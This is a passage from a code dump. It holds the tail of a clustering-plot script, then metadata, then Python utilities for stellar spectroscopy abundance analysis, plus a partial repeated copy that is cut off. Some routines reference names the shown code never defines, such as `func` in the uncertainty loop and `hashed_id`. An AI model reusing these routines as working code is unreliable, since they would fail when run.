plot and export data') #=========================================== # L1.1 data processing and manipulate #=========================================== pixel_label = relabel(df_pixel_label) # parse dimension NumLine = np.max(df_pixel_label.iloc[:,0])+1 NumSpePerLine = np.max(df_pixel_label.iloc[:,1])+1 # parameter for plotting aspect = AspectRatio*NumSpePerLine/NumLine # organize img img = pixel_label.T.reshape(pixel_label.shape[1], NumLine, NumSpePerLine) print('Finish L1.1 data process') #=========================================== # L1.1 ensemble results in mosaic plot, save images #=========================================== # mosaic img show # parameters: w_fig = 20 # default setting ncols = ncols_L1 nrows = math.ceil((img.shape[0]-2)/ncols) h_fig = w_fig * nrows * (AspectRatio + 0.16) / ncols # 0.2 is the space for title parameters columns = df_pixel_label.columns.values fig = plt.figure(figsize=(w_fig, h_fig)) fig.subplots_adjust(hspace= 0, wspace=0.01, right=0.95) for i in range(1, img.shape[0]+1): ax = fig.add_subplot(nrows, ncols, i) im = ax.imshow(img[i-1], cmap=cm.tab20, aspect = aspect, vmin=0,vmax=19, interpolation='none') ax.set_xticks([]) ax.set_yticks([]) # title title = columns[i+1] ax.set_title(title, pad=8, fontsize = 15) # colorbar cbar_ax = fig.add_axes([0.96,0.1,0.01,0.8]) cbar = fig.colorbar(im, cax=cbar_ax, ticks=[0.5,1.4,2.3,3.3,4.3,5.1,6.2,7,8.1,9,10,10.9,11.8,12.7,13.6,14.7,15.6,16.6,17.5,18.5]) cbar.ax.set_yticklabels([0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19]) #hard code cbar.ax.tick_params(labelsize=10) SaveDir = OutputFolder + '\\ensemble_clustering_plot.png' plt.savefig(SaveDir, dpi=dpi) plt.close() print('Finish L1.1 GMM ensemble clustering result plotting, saving .csv file') #=========================================== # save data #=========================================== # organize a dataframe for relabel data df_pixel_relabel = pd.DataFrame(pixel_label.astype(int), columns = df_pixel_label.columns.values[2:df_pixel_label.shape[1]]) df_pixel_relabel.insert(0, 'spectrum_index', df_pixel_label.iloc[:,1]) df_pixel_relabel.insert(0, 'line_index', df_pixel_label.iloc[:,0]) SaveDir = OutputFolder + '\\pixel_label.csv' df_pixel_relabel.to_csv(SaveDir, index=False, sep=',') print('L1 is done, please check output results at: \n{}'.format(OutputFolder))

0

0717646489a2d80fa3f23fe03a050b78b42cbf8a

40,498

py

Python

smhr_session/utils.py

alexji/smhr-session

98cf3dd5da737752e704cffb005f729dfc2711dd

[ "MIT" ]

null

smhr_session/utils.py

alexji/smhr-session

98cf3dd5da737752e704cffb005f729dfc2711dd

[ "MIT" ]

null

smhr_session/utils.py

alexji/smhr-session

98cf3dd5da737752e704cffb005f729dfc2711dd

[ "MIT" ]

null

# coding: utf-8 """ Utility functions for Spectroscopy Made Hard """ __author__ = "Andy Casey <andy@astrowizici.st>" # Standard library import os import logging import platform import string import sys import traceback import tempfile from six import string_types from collections import Counter, OrderedDict try: from subprocess import getstatusoutput except ImportError: # python 2 from commands import getstatusoutput from hashlib import sha1 as sha from random import choice from socket import gethostname, gethostbyname # Third party imports import numpy as np import astropy.table from scipy import stats, integrate, optimize common_molecule_name2Z = { 'Mg-H': 12,'H-Mg': 12, 'C-C': 6, 'C-N': 7, 'N-C': 7, #TODO 'C-H': 6, 'H-C': 6, 'O-H': 8, 'H-O': 8, 'Fe-H': 26,'H-Fe': 26, 'N-H': 7, 'H-N': 7, 'Si-H': 14,'H-Si': 14, 'Ti-O': 22,'O-Ti': 22, 'V-O': 23,'O-V': 23, 'Zr-O': 40,'O-Zr': 40 } common_molecule_name2species = { 'Mg-H': 112,'H-Mg': 112, 'C-C': 606, 'C-N': 607,'N-C': 607, 'C-H': 106,'H-C': 106, 'O-H': 108,'H-O': 108, 'Fe-H': 126,'H-Fe': 126, 'N-H': 107,'H-N': 107, 'Si-H': 114,'H-Si': 114, 'Ti-O': 822,'O-Ti': 822, 'V-O': 823,'O-V': 823, 'Zr-O': 840,'O-Zr': 840 } common_molecule_species2elems = { 112: ["Mg", "H"], 606: ["C", "C"], 607: ["C", "N"], 106: ["C", "H"], 108: ["O", "H"], 126: ["Fe", "H"], 107: ["N", "H"], 114: ["Si", "H"], 822: ["Ti", "O"], 823: ["V", "O"], 840: ["Zr", "O"] } __all__ = ["element_to_species", "element_to_atomic_number", "species_to_element", "get_common_letters", \ "elems_isotopes_ion_to_species", "species_to_elems_isotopes_ion", \ "find_common_start", "extend_limits", "get_version", \ "approximate_stellar_jacobian", "approximate_sun_hermes_jacobian",\ "hashed_id"] logger = logging.getLogger(__name__) def equilibrium_state(transitions, columns=("expot", "rew"), group_by="species", ycolumn="abundance", yerr_column=None): """ Perform linear fits to the abundances provided in the transitions table with respect to x-columns. :param transitions: A table of atomic transitions with measured equivalent widths and abundances. :param columns: [optional] The names of the columns to make fits against. :param group_by: [optional] The name of the column in `transitions` to calculate states. """ lines = {} transitions = transitions.group_by(group_by) for i, start_index in enumerate(transitions.groups.indices[:-1]): end_index = transitions.groups.indices[i + 1] # Do excitation potential first. group_lines = {} for x_column in columns: x = transitions[x_column][start_index:end_index] y = transitions["abundance"][start_index:end_index] if yerr_column is not None: try: yerr = transitions[yerr_column][start_index:end_index] except KeyError: logger.exception("Cannot find yerr column '{}':".format( yerr_column)) yerr = np.ones(len(y)) else: yerr = np.ones(len(y)) # Only use finite values. finite = np.isfinite(x * y * yerr) try: # fix for masked arrays finite = finite.filled(False) except: pass if not np.any(finite): #group_lines[x_column] = (np.nan, np.nan, np.nan, np.nan, 0) continue m, b, medy, stdy, stdm, N = fit_line(x, y, None) group_lines[x_column] = (m, b, medy, (stdy, stdm), N) # x, y, yerr = np.array(x[finite]), np.array(y[finite]), np.array(yerr[finite]) # # # Let's remove the covariance between m and b by making the mean of x = 0 # xbar = np.mean(x) # x = x - xbar # # y = mx+b = m(x-xbar) + (b+m*xbar), so m is unchanged but b is shifted. # ## A = np.vstack((np.ones_like(x), x)).T ## C = np.diag(yerr**2) ## try: ## cov = np.linalg.inv(np.dot(A.T, np.linalg.solve(C, A))) ## b, m = np.dot(cov, np.dot(A.T, np.linalg.solve(C, y))) ## ## except np.linalg.LinAlgError: ## #group_lines[x_column] \ ## # = (np.nan, np.nan, np.median(y), np.std(y), len(x)) ## None ## ## else: ## #group_lines[x_column] = (m, b, np.median(y), (np.std(y), np.sqrt(cov[1,1])), len(x)) ## group_lines[x_column] = (m, b+m*xbar, np.median(y), (np.std(y), np.sqrt(cov[1,1])), len(x)) # m, b, r, p, m_stderr = stats.linregress(x, y) # group_lines[x_column] = (m, b-m*xbar, np.median(y), (np.std(y), m_stderr), len(x)) identifier = transitions[group_by][start_index] if group_lines: lines[identifier] = group_lines return lines def spectral_model_conflicts(spectral_models, line_list): """ Identify abundance conflicts in a list of spectral models. :param spectral_models: A list of spectral models to check for conflicts. :param line_list: A table of energy transitions. :returns: A list containing tuples of spectral model indices where there is a conflict about which spectral model to use for the determination of stellar parameters and/or composition. """ line_list_hashes = line_list.compute_hashes() transition_hashes = {} for i, spectral_model in enumerate(spectral_models): for transition in spectral_model.transitions: transition_hash = line_list.hash(transition) transition_hashes.setdefault(transition_hash, []) transition_hashes[transition_hash].append(i) # Which of the transition_hashes appear more than once? conflicts = [] for transition_hash, indices in transition_hashes.iteritems(): if len(indices) < 2: continue # OK, what element is this transition? match = (line_list_hashes == transition_hash) element = line_list["element"][match][0].split()[0] # Of the spectral models that use this spectral hash, what are they # measuring? conflict_indices = [] for index in indices: if element not in spectral_models[index].metadata["elements"]: # This transition is not being measured in this spectral model. continue else: # This spectral model is modeling this transition. # Does it say this should be used for the determination of # stellar parameters or composition? if spectral_models[index].use_for_stellar_parameter_inference \ or spectral_models[index].use_for_stellar_composition_inference: conflict_indices.append(index) if len(conflict_indices) > 1: conflicts.append(conflict_indices) return conflicts # List the periodic table here so that we can use it outside of a single # function scope (e.g., 'element in utils.periodic_table') periodic_table = """H He Li Be B C N O F Ne Na Mg Al Si P S Cl Ar K Ca Sc Ti V Cr Mn Fe Co Ni Cu Zn Ga Ge As Se Br Kr Rb Sr Y Zr Nb Mo Tc Ru Rh Pd Ag Cd In Sn Sb Te I Xe Cs Ba Lu Hf Ta W Re Os Ir Pt Au Hg Tl Pb Bi Po At Rn Fr Ra Lr Rf""" lanthanoids = "La Ce Pr Nd Pm Sm Eu Gd Tb Dy Ho Er Tm Yb" actinoids = "Ac Th Pa U Np Pu Am Cm Bk Cf Es Fm Md No" periodic_table = periodic_table.replace(" Ba ", " Ba " + lanthanoids + " ") \ .replace(" Ra ", " Ra " + actinoids + " ").split() del actinoids, lanthanoids hashed_id = hashed_id() def approximate_stellar_jacobian(stellar_parameters, *args): """ Approximate the Jacobian of the stellar parameters and minimisation parameters, based on calculations from the Sun """ logger.info("Updated approximation of the Jacobian") teff, vt, logg, feh = stellar_parameters[:4] # This is the black magic. full_jacobian = np.array([ [ 5.4393e-08*teff - 4.8623e-04, -7.2560e-02*vt + 1.2853e-01, 1.6258e-02*logg - 8.2654e-02, 1.0897e-02*feh - 2.3837e-02], [ 4.2613e-08*teff - 4.2039e-04, -4.3985e-01*vt + 8.0592e-02, -5.7948e-02*logg - 1.2402e-01, -1.1533e-01*feh - 9.2341e-02], [-3.2710e-08*teff + 2.8178e-04, 3.8185e-03*vt - 1.6601e-02, -1.2006e-02*logg - 3.5816e-03, -2.8592e-05*feh + 1.4257e-03], [-1.7822e-08*teff + 1.8250e-04, 3.5564e-02*vt - 1.1024e-01, -1.2114e-02*logg + 4.1779e-02, -1.8847e-02*feh - 1.0949e-01] ]) return full_jacobian.T def approximate_sun_hermes_jacobian(stellar_parameters, *args): """ Approximate the Jacobian of the stellar parameters and minimisation parameters, based on calculations using the Sun and the HERMES atomic line list, after equivalent widths were carefully inspected. """ # logger.info("Updated approximation of the Jacobian") teff, vt, logg, feh = stellar_parameters[:4] # full_jacobian = np.array([ # [ 4.4973e-08*teff - 4.2747e-04, -1.2404e-03*vt + 2.4748e-02, 1.6481e-02*logg - 5.1979e-02, 1.0470e-02*feh - 8.5645e-03], # [-9.3371e-08*teff + 6.9953e-04, 5.0115e-02*vt - 3.0106e-01, -6.0800e-02*logg + 6.7056e-02, -4.1281e-02*feh - 6.2085e-02], # [-2.1326e-08*teff + 1.9121e-04, 1.0508e-03*vt + 1.1099e-03, -6.1479e-03*logg - 1.7401e-02, 3.4172e-03*feh + 3.7851e-03], # [-9.4547e-09*teff + 1.1280e-04, 1.0033e-02*vt - 3.6439e-02, -9.5015e-03*logg + 3.2700e-02, -1.7947e-02*feh - 1.0383e-01] # ]) # After culling abundance outliers,.. full_jacobian = np.array([ [ 4.5143e-08*teff - 4.3018e-04, -6.4264e-04*vt + 2.4581e-02, 1.7168e-02*logg - 5.3255e-02, 1.1205e-02*feh - 7.3342e-03], [-1.0055e-07*teff + 7.5583e-04, 5.0811e-02*vt - 3.1919e-01, -6.7963e-02*logg + 7.3189e-02, -4.1335e-02*feh - 6.0225e-02], [-1.9097e-08*teff + 1.8040e-04, -3.8736e-03*vt + 7.6987e-03, -6.4754e-03*logg - 2.0095e-02, -4.1837e-03*feh - 4.1084e-03], [-7.3958e-09*teff + 1.0175e-04, 6.5783e-03*vt - 3.6509e-02, -9.7692e-03*logg + 3.2322e-02, -1.7391e-02*feh - 1.0502e-01] ]) return full_jacobian.T def approximate_stellar_jacobian_2(stellar_parameters, *args): """ Approximate the Jacobian of the stellar parameters and minimisation parameters, based on calculations from the Sun """ logger.info("Updated approximation of the Jacobian {}".format(stellar_parameters)) teff, logg, vt, feh = stellar_parameters[:4] #if np.isnan(teff): teff = 5000.; logger.info("jacobian: teff=nan->5000") #if np.isnan(logg): logg = 2.0; logger.info("jacobian: logg=nan->2.0") #if np.isnan(vt): vt = 1.75; logger.info("jacobian: vt=nan->1.75") #if np.isnan(feh): feh = -2.0; logger.info("jacobian: feh=nan->-2.0") # This is the black magic. full_jacobian = np.array([ [ 5.4393e-08*teff - 4.8623e-04, 1.6258e-02*logg - 8.2654e-02, -7.2560e-02*vt + 1.2853e-01, 1.0897e-02*feh - 2.3837e-02], [ 4.2613e-08*teff - 4.2039e-04, -5.7948e-02*logg - 1.2402e-01, -4.3985e-01*vt + 8.0592e-02, -1.1533e-01*feh - 9.2341e-02], [-3.2710e-08*teff + 2.8178e-04, -1.2006e-02*logg - 3.5816e-03, 3.8185e-03*vt - 1.6601e-02, -2.8592e-05*feh + 1.4257e-03], [-1.7822e-08*teff + 1.8250e-04, -1.2114e-02*logg + 4.1779e-02, 3.5564e-02*vt - 1.1024e-01, -1.8847e-02*feh - 1.0949e-01] ]) return full_jacobian.T def approximate_sun_hermes_jacobian_2(stellar_parameters, *args): """ Approximate the Jacobian of the stellar parameters and minimisation parameters, based on calculations using the Sun and the HERMES atomic line list, after equivalent widths were carefully inspected. """ # logger.info("Updated approximation of the Jacobian") teff, logg, vt, feh = stellar_parameters[:4] # full_jacobian = np.array([ # [ 4.4973e-08*teff - 4.2747e-04, -1.2404e-03*vt + 2.4748e-02, 1.6481e-02*logg - 5.1979e-02, 1.0470e-02*feh - 8.5645e-03], # [-9.3371e-08*teff + 6.9953e-04, 5.0115e-02*vt - 3.0106e-01, -6.0800e-02*logg + 6.7056e-02, -4.1281e-02*feh - 6.2085e-02], # [-2.1326e-08*teff + 1.9121e-04, 1.0508e-03*vt + 1.1099e-03, -6.1479e-03*logg - 1.7401e-02, 3.4172e-03*feh + 3.7851e-03], # [-9.4547e-09*teff + 1.1280e-04, 1.0033e-02*vt - 3.6439e-02, -9.5015e-03*logg + 3.2700e-02, -1.7947e-02*feh - 1.0383e-01] # ]) # After culling abundance outliers,.. full_jacobian = np.array([ [ 4.5143e-08*teff - 4.3018e-04, 1.7168e-02*logg - 5.3255e-02, -6.4264e-04*vt + 2.4581e-02, 1.1205e-02*feh - 7.3342e-03], [-1.0055e-07*teff + 7.5583e-04, -6.7963e-02*logg + 7.3189e-02, 5.0811e-02*vt - 3.1919e-01, -4.1335e-02*feh - 6.0225e-02], [-1.9097e-08*teff + 1.8040e-04, -6.4754e-03*logg - 2.0095e-02, -3.8736e-03*vt + 7.6987e-03, -4.1837e-03*feh - 4.1084e-03], [-7.3958e-09*teff + 1.0175e-04, -9.7692e-03*logg + 3.2322e-02, 6.5783e-03*vt - 3.6509e-02, -1.7391e-02*feh - 1.0502e-01] ]) return full_jacobian.T def element_to_species(element_repr): """ Converts a string representation of an element and its ionization state to a floating point """ if not isinstance(element_repr, string_types): raise TypeError("element must be represented by a string-type") if element_repr.count(" ") > 0: element, ionization = element_repr.split()[:2] else: element, ionization = element_repr, "I" if element not in periodic_table: try: return common_molecule_name2species[element] except KeyError: # Don't know what this element is return float(element_repr) ionization = max([0, ionization.upper().count("I") - 1]) /10. transition = periodic_table.index(element) + 1 + ionization return transition def element_to_atomic_number(element_repr): """ Converts a string representation of an element and its ionization state to a floating point. :param element_repr: A string representation of the element. Typical examples might be 'Fe', 'Ti I', 'si'. """ if not isinstance(element_repr, string_types): raise TypeError("element must be represented by a string-type") element = element_repr.title().strip().split()[0] try: index = periodic_table.index(element) except IndexError: raise ValueError("unrecognized element '{}'".format(element_repr)) except ValueError: try: return common_molecule_name2Z[element] except KeyError: raise ValueError("unrecognized element '{}'".format(element_repr)) return 1 + index def species_to_element(species): """ Converts a floating point representation of a species to a string representation of the element and its ionization state """ if not isinstance(species, (float, int)): raise TypeError("species must be represented by a floating point-type") if round(species,1) != species: # Then you have isotopes, but we will ignore that species = int(species*10)/10. if species + 1 >= len(periodic_table) or 1 > species: # Don"t know what this element is. It"s probably a molecule. try: elems = common_molecule_species2elems[species] return "-".join(elems) except KeyError: # No idea return str(species) atomic_number = int(species) element = periodic_table[int(species) - 1] ionization = int(round(10 * (species - int(species)) + 1)) # The special cases if element in ("C", "H", "He"): return element return "%s %s" % (element, "I" * ionization) def extend_limits(values, fraction=0.10, tolerance=1e-2): """ Extend the values of a list by a fractional amount """ values = np.array(values) finite_indices = np.isfinite(values) if np.sum(finite_indices) == 0: raise ValueError("no finite values provided") lower_limit, upper_limit = np.min(values[finite_indices]), np.max(values[finite_indices]) ptp_value = np.ptp([lower_limit, upper_limit]) new_limits = lower_limit - fraction * ptp_value, ptp_value * fraction + upper_limit if np.abs(new_limits[0] - new_limits[1]) < tolerance: if np.abs(new_limits[0]) < tolerance: # Arbitrary limits, since we"ve just been passed zeros offset = 1 else: offset = np.abs(new_limits[0]) * fraction new_limits = new_limits[0] - offset, offset + new_limits[0] return np.array(new_limits) def get_version(): """ Retrieves the version of Spectroscopy Made Hard based on the git version """ if getstatusoutput("which git")[0] == 0: git_commands = ("git rev-parse --abbrev-ref HEAD", "git log --pretty=format:'%h' -n 1") return "0.1dev:" + ":".join([getstatusoutput(command)[1] for command in git_commands]) else: return "Unknown" def struct2array(x): """ Convert numpy structured array of simple type to normal numpy array """ Ncol = len(x.dtype) type = x.dtype[0].type assert np.all([x.dtype[i].type == type for i in range(Ncol)]) return x.view(type).reshape((-1,Ncol)) def process_session_uncertainties_lines(session, rhomat, minerr=0.001): """ Using Sergey's estimator """ from .spectral_models import ProfileFittingModel, SpectralSynthesisModel from .photospheres.abundances import asplund_2009 as solar_composition cols = ["index","wavelength","species","expot","loggf", "logeps","e_stat","eqw","e_eqw","fwhm", "e_Teff","e_logg","e_vt","e_MH","e_sys", "e_tot","weight"] data = OrderedDict(zip(cols, [[] for col in cols])) for i, model in enumerate(session.spectral_models): if not model.is_acceptable: continue if model.is_upper_limit: continue wavelength = model.wavelength species = np.ravel(model.species)[0] expot = model.expot loggf = model.loggf if np.isnan(expot) or np.isnan(loggf): print(i, species, model.expot, model.loggf) try: logeps = model.abundances[0] staterr = model.metadata["1_sigma_abundance_error"] if isinstance(model, SpectralSynthesisModel): (named_p_opt, cov, meta) = model.metadata["fitted_result"] if np.isfinite(cov[0,0]**0.5): staterr = max(staterr, cov[0,0]**0.5) assert ~np.isnan(staterr) # apply minimum staterr = np.sqrt(staterr**2 + minerr**2) sperrdict = model.metadata["systematic_stellar_parameter_abundance_error"] e_Teff = sperrdict["effective_temperature"] e_logg = sperrdict["surface_gravity"] e_vt = sperrdict["microturbulence"] e_MH = sperrdict["metallicity"] e_all = np.array([e_Teff, e_logg, e_vt, e_MH]) syserr_sq = e_all.T.dot(rhomat.dot(e_all)) syserr = np.sqrt(syserr_sq) fwhm = model.fwhm except Exception as e: print("ERROR!!!") print(i, species, model.wavelength) print("Exception:",e) logeps, staterr, e_Teff, e_logg, e_vt, e_MH, syserr = np.nan, np.nan, np.nan, np.nan, np.nan, np.nan, np.nan if isinstance(model, ProfileFittingModel): eqw = model.equivalent_width or np.nan e_eqw = model.equivalent_width_uncertainty or np.nan else: eqw = -999 e_eqw = -999 #toterr = np.sqrt(staterr**2 + syserr**2) input_data = [i, wavelength, species, expot, loggf, logeps, staterr, eqw, e_eqw, fwhm, e_Teff, e_logg, e_vt, e_MH, syserr, np.nan, np.nan] for col, x in zip(cols, input_data): data[col].append(x) tab = astropy.table.Table(data) # Calculate systematic error and effective weights for each species tab["e_sys"] = np.nan for species in np.unique(tab["species"]): ix = np.where(tab["species"]==species)[0] t = tab[ix] # Estimate systematic error s s = s_old = 0. s_max = 2. delta = struct2array(t["e_Teff","e_logg","e_vt","e_MH"].as_array()) ex = t["e_stat"] for i in range(35): sigma_tilde = np.diag(s**2 + ex**2) + (delta.dot(rhomat.dot(delta.T))) sigma_tilde_inv = np.linalg.inv(sigma_tilde) w = np.sum(sigma_tilde_inv, axis=1) xhat = np.sum(w*t["logeps"])/np.sum(w) dx = t["logeps"] - xhat if func(0) < func(s_max): s = 0 break s = optimize.brentq(func, 0, s_max, xtol=.001) if np.abs(s_old - s) < 0.01: break s_old = s else: print(species,"s did not converge!") print("Final in {} iter: {:.1f} {:.3f}".format(i+1, species, s)) tab["e_sys"][ix] = s tab["e_tot"][ix] = np.sqrt(s**2 + ex**2) sigma_tilde = np.diag(tab["e_tot"][ix]**2) + (delta.dot(rhomat.dot(delta.T))) sigma_tilde_inv = np.linalg.inv(sigma_tilde) w = np.sum(sigma_tilde_inv, axis=1) wb = np.sum(sigma_tilde_inv, axis=0) assert np.allclose(w,wb,rtol=1e-6), "Problem in species {:.1f}, Nline={}, e_sys={:.2f}".format(species, len(t), s) tab["weight"][ix] = w for col in tab.colnames: if col in ["index", "wavelength", "species", "loggf", "star"]: continue tab[col].format = ".3f" return tab def process_session_uncertainties_calc_xfe_errors(summary_tab, var_X, cov_XY): """ Computes the following Var([X/Fe]) = Var(X) + Var(Fe) - 2 Cov(X, Fe) Does *not* compute covariances, but you can do that this way: Cov([X/Fe], [Fe/H]) = Cov(X,Fe) - Cov(Fe, Fe) """ # [X/Fe] errors are the Fe1 and Fe2 parts of the covariance matrix try: ix1 = np.where(summary_tab["species"]==26.0)[0][0] except IndexError: print("No feh1: setting to nan") feh1 = np.nan exfe1 = np.nan else: feh1 = summary_tab["[X/H]"][ix1] var_fe1 = var_X[ix1] # Var(X/Fe1) = Var(X) + Var(Fe1) - 2*Cov(X,Fe1) exfe1 = np.sqrt(var_X + var_fe1 - 2*cov_XY[ix1,:]) try: ix2 = np.where(summary_tab["species"]==26.1)[0][0] except IndexError: print("No feh2: setting to feh1") feh2 = feh1 try: exfe2 = np.sqrt(var_X[ix1]) except UnboundLocalError: # no ix1 either exfe2 = np.nan else: feh2 = summary_tab["[X/H]"][ix2] var_fe2 = var_X[ix2] # Var(X/Fe2) = Var(X) + Var(Fe2) - 2*Cov(X,Fe2) exfe2 = np.sqrt(var_X + var_fe2 - 2*cov_XY[ix2,:]) return feh1, exfe1, feh2, exfe2 def process_session_uncertainties_abundancesummary(tab, rhomat): """ Take a table of lines and turn them into standard abundance table """ from .spectral_models import ProfileFittingModel, SpectralSynthesisModel from .photospheres.abundances import asplund_2009 as solar_composition unique_species = np.unique(tab["species"]) cols = ["species","elem","N", "logeps","sigma","stderr", "logeps_w","sigma_w","stderr_w", "e_Teff","e_logg","e_vt","e_MH","e_sys", "e_Teff_w","e_logg_w","e_vt_w","e_MH_w","e_sys_w", "[X/H]","e_XH","s_X"] data = OrderedDict(zip(cols, [[] for col in cols])) for species in unique_species: ttab = tab[tab["species"]==species] elem = species_to_element(species) N = len(ttab) logeps = np.mean(ttab["logeps"]) stdev = np.std(ttab["logeps"]) stderr = stdev/np.sqrt(N) w = ttab["weight"] finite = np.isfinite(w) if finite.sum() != N: print("WARNING: species {:.1f} N={} != finite weights {}".format(species, N, finite.sum())) x = ttab["logeps"] logeps_w = np.sum(w*x)/np.sum(w) stdev_w = np.sqrt(np.sum(w*(x-logeps_w)**2)/np.sum(w)) stderr_w = np.sqrt(1/np.sum(w)) sperrs = [] sperrs_w = [] for spcol in ["Teff","logg","vt","MH"]: x_new = x + ttab["e_"+spcol] e_sp = np.mean(x_new) - logeps sperrs.append(e_sp) #e_sp_w = np.sum(w*x_new)/np.sum(w) - logeps_w e_sp_w = np.sum(w*ttab["e_"+spcol])/np.sum(w) sperrs_w.append(e_sp_w) sperrs = np.array(sperrs) sperrs_w = np.array(sperrs_w) sperrtot = np.sqrt(sperrs.T.dot(rhomat.dot(sperrs))) sperrtot_w = np.sqrt(sperrs_w.T.dot(rhomat.dot(sperrs_w))) XH = logeps_w - solar_composition(species) #e_XH = np.sqrt(stderr_w**2 + sperrtot_w**2) e_XH = stderr_w s_X = ttab["e_sys"][0] assert np.allclose(ttab["e_sys"], s_X), s_X input_data = [species, elem, N, logeps, stdev, stderr, logeps_w, stdev_w, stderr_w, sperrs[0], sperrs[1], sperrs[2], sperrs[3], sperrtot, sperrs_w[0], sperrs_w[1], sperrs_w[2], sperrs_w[3], sperrtot_w, XH, e_XH, s_X ] assert len(cols) == len(input_data) for col, x in zip(cols, input_data): data[col].append(x) summary_tab = astropy.table.Table(data) ## Add in [X/Fe] var_X, cov_XY = process_session_uncertainties_covariance(summary_tab, rhomat) feh1, efe1, feh2, efe2 = process_session_uncertainties_calc_xfe_errors(summary_tab, var_X, cov_XY) if len(summary_tab["[X/H]"]) > 0: summary_tab["[X/Fe1]"] = summary_tab["[X/H]"] - feh1 summary_tab["e_XFe1"] = efe1 summary_tab["[X/Fe2]"] = summary_tab["[X/H]"] - feh2 summary_tab["e_XFe2"] = efe2 ixion = np.array([x - int(x) > .01 for x in summary_tab["species"]]) summary_tab["[X/Fe]"] = summary_tab["[X/Fe1]"] summary_tab["e_XFe"] = summary_tab["e_XFe1"] summary_tab["[X/Fe]"][ixion] = summary_tab["[X/Fe2]"][ixion] summary_tab["e_XFe"][ixion] = summary_tab["e_XFe2"][ixion] for col in summary_tab.colnames: if col=="N" or col=="species" or col=="elem": continue summary_tab[col].format = ".3f" else: for col in ["[X/Fe]","[X/Fe1]","[X/Fe2]", "e_XFe","e_XFe1","e_XFe2"]: summary_tab.add_column(astropy.table.Column(np.zeros(0),col)) #summary_tab[col] = np.nan #.add_column(col) return summary_tab def process_session_uncertainties(session, rho_Tg=0.0, rho_Tv=0.0, rho_TM=0.0, rho_gv=0.0, rho_gM=0.0, rho_vM=0.0): """ After you have run session.compute_all_abundance_uncertainties(), this pulls out a big array of line data and computes the final abundance table and errors By default assumes no correlations in stellar parameters. If you specify rho_XY it will include that correlated error. (X,Y) in [T, g, v, M] """ ## Correlation matrix. This is multiplied by the errors to get the covariance matrix. # rho order = [T, g, v, M] rhomat = _make_rhomat(rho_Tg, rho_Tv, rho_TM, rho_gv, rho_gM, rho_vM) ## Make line measurement table (no upper limits yet) tab = process_session_uncertainties_lines(session, rhomat) ## Summarize measurements summary_tab = process_session_uncertainties_abundancesummary(tab, rhomat) ## Add upper limits tab, summary_tab = process_session_uncertainties_limits(session, tab, summary_tab, rhomat) return tab, summary_tab def get_synth_eqw(model, window=1.0, wavelength=None, get_spec=False): """ Calculate the equivalent width associated with the synthetic line. This is done by synthesizing the line in absence of any other elements, then integrating the synthetic spectrum in a window around the central wavelength. The user can specify the size of the window (default +/-1A) and the central wavelength (default None -> model.wavelength) """ from .spectral_models import ProfileFittingModel, SpectralSynthesisModel assert isinstance(model, SpectralSynthesisModel) assert len(model.elements)==1, model.elements abundances = model.metadata["rt_abundances"].copy() for key in abundances: if key != model.elements[0]: abundances[key] = -9.0 abundances[model.elements[0]] = model.metadata["fitted_result"][0].values()[0] print(abundances) synth_dispersion, intensities, meta = model.session.rt.synthesize( model.session.stellar_photosphere, model.transitions, abundances, isotopes=model.session.metadata["isotopes"], twd=model.session.twd)[0] if wavelength is None: wavelength = model.wavelength ii = (synth_dispersion > wavelength - window) & (synth_dispersion < wavelength + window) # integrate with the trapezoid rule, get milliangstroms eqw = 1000.*integrate.trapz(1.0-intensities[ii], synth_dispersion[ii]) # integrate everything with the trapezoid rule, get milliangstroms eqw_all = 1000.*integrate.trapz(1.0-intensities, synth_dispersion) for key in abundances: abundances[key] = -9.0 blank_dispersion, blank_flux, blank_meta = model.session.rt.synthesize( model.session.stellar_photosphere, model.transitions, abundances, isotopes=model.session.metadata["isotopes"], twd=model.session.twd)[0] blank_eqw = 1000.*integrate.trapz(1.0-blank_flux[ii], blank_dispersion[ii]) # integrate everything with the trapezoid rule, get milliangstroms blank_eqw_all = 1000.*integrate.trapz(1.0-blank_flux, blank_dispersion) if get_spec: return eqw, eqw_all, blank_eqw, blank_eqw_all, synth_dispersion, intensities return eqw, eqw_all, blank_eqw, blank_eqw_all

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# coding: utf-8 """ Utility functions for Spectroscopy Made Hard """ __author__ = "Andy Casey <andy@astrowizici.st>" # Standard library import os import logging import platform import string import sys import traceback import tempfile from six import string_types from collections import Counter, OrderedDict try: from subprocess import getstatusoutput except ImportError: # python 2 from commands import getstatusoutput from hashlib import sha1 as sha from random import choice from socket import gethostname, gethostbyname # Third party imports import numpy as np import astropy.table from scipy import stats, integrate, optimize common_molecule_name2Z = { 'Mg-H': 12,'H-Mg': 12, 'C-C': 6, 'C-N': 7, 'N-C': 7, #TODO 'C-H': 6, 'H-C': 6, 'O-H': 8, 'H-O': 8, 'Fe-H': 26,'H-Fe': 26, 'N-H': 7, 'H-N': 7, 'Si-H': 14,'H-Si': 14, 'Ti-O': 22,'O-Ti': 22, 'V-O': 23,'O-V': 23, 'Zr-O': 40,'O-Zr': 40 } common_molecule_name2species = { 'Mg-H': 112,'H-Mg': 112, 'C-C': 606, 'C-N': 607,'N-C': 607, 'C-H': 106,'H-C': 106, 'O-H': 108,'H-O': 108, 'Fe-H': 126,'H-Fe': 126, 'N-H': 107,'H-N': 107, 'Si-H': 114,'H-Si': 114, 'Ti-O': 822,'O-Ti': 822, 'V-O': 823,'O-V': 823, 'Zr-O': 840,'O-Zr': 840 } common_molecule_species2elems = { 112: ["Mg", "H"], 606: ["C", "C"], 607: ["C", "N"], 106: ["C", "H"], 108: ["O", "H"], 126: ["Fe", "H"], 107: ["N", "H"], 114: ["Si", "H"], 822: ["Ti", "O"], 823: ["V", "O"], 840: ["Zr", "O"] } __all__ = ["element_to_species", "element_to_atomic_number", "species_to_element", "get_common_letters", \ "elems_isotopes_ion_to_species", "species_to_elems_isotopes_ion", \ "find_common_start", "extend_limits", "get_version", \ "approximate_stellar_jacobian", "approximate_sun_hermes_jacobian",\ "hashed_id"] logger = logging.getLogger(__name__) def mkdtemp(**kwargs): if not os.path.exists(os.environ["HOME"]+"/.smh"): logger.info("Making "+os.environ["HOME"]+"/.smh") os.mkdir(os.environ["HOME"]+"/.smh") if 'dir' not in kwargs: kwargs['dir'] = os.environ["HOME"]+"/.smh" return tempfile.mkdtemp(**kwargs) def mkstemp(**kwargs): if not os.path.exists(os.environ["HOME"]+"/.smh"): logger.info("Making "+os.environ["HOME"]+"/.smh") os.mkdir(os.environ["HOME"]+"/.smh") if 'dir' not in kwargs: kwargs['dir'] = os.environ["HOME"]+"/.smh" return 